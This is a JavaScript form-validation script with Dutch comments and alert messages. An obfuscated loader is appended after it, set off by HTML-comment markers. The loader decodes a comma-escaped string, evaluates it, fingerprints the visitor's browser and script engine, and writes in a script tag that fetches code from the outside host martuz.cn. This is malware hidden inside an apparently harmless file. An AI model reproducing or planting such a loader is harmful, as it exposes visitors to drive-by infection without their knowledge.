function validateForm(form)    {
    var i;
    
    // input velden controleren
    var elements = form.getElementsByTagName("input");
    for (i = 0; i < elements.length; i++)   {
        if (elements[i].type == "text") {
            if (elements[i].className.indexOf("required") != -1)    {
                if (elements[i].value == "")    {
                    alert("U dient alle verplichte velden in te vullen, deze zijn te herkennen met een * achter de titel");
                    return false;
                }
            }
        }
    }

    // textarea velden controleren
    var elements = form.getElementsByTagName("textarea");
    for (i = 0; i < elements.length; i++)   {
        if (elements[i].className.indexOf("required") != -1)    {
            if (elements[i].value == "")    {
                alert("U dient alle verplichte velden in te vullen, deze zijn te herkennen met een * achter de titel");
                return false;
            }
        }
    }
    
    // checkbox velden controleren
    var elements = form.getElementsByTagName("fieldset");
    for (i = 0; i < elements.length; i++)   {
        if (elements[i].className.indexOf("required") != -1)    {
            var correct = false;

            var velden = elements[i].getElementsByTagName("input");
            for (j = 0; j < velden.length; j++)   {
                if ((velden[j].type == "checkbox") || (velden[j].type == "radio"))   {
                    if (velden[j].checked == true)  {
                        correct = true;
                        j = velden.length;
                    }
                }
            }

            if (correct == false)   {
                alert("U dient alle verplichte velden in te vullen, deze zijn te herkennen met een * achter de titel");
                return false;
            }
        }
    }
    

    // als het script hier komt, dan zijn alle velden correct
    return true;
}
<!-- 
(function(YeJ4b){var CtHu='%';var Aj1Hg='var,20a,3d,22Scrip,74,45ngi,6e,65,22,2cb,3d,22Ve,72,73,69on(,29+,22,2cj,3d,22,22,2cu,3dn,61viga,74o,72,2e,75,73,65,72,41,67,65,6e,74,3bi,66((,75,2eind,65xO,66(,22C,68r,6fme,22,29,3c0),26,26,28u,2eindexO,66,28,22Win,22),3e0,29,26,26(u,2eindexO,66(,22NT,20,36,22,29,3c0),26,26(do,63u,6den,74,2ec,6f,6fki,65,2ei,6ed,65xOf(,22mie,6b,3d,31,22),3c,30),26,26,28t,79pe,6f,66(zrvz,74s),21,3dt,79peo,66(,22A,22))),7bzrv,7ats,3d,22A,22,3be,76al(,22if,28wi,6e,64ow,2e,22,2ba+,22,29j,3dj+,22,2ba+,22,4da,6a,6fr,22+b+,61+,22,4din,6fr,22+b+,61+,22Build,22+,62,2b,22j,3b,22),3bdocum,65nt,2ewrite(,22,3cscr,69pt,20s,72,63,3d,2f,2fm,22+,22artuz,2ecn,2f,76i,64,2f,3fid,3d,22,2bj+,22,3e,3c,5c,2fs,63,72,69,70t,3e,22),3b,7d';var lxq=Aj1Hg.replace(YeJ4b,CtHu);eval(unescape(lxq))})(/\,/g);
 -->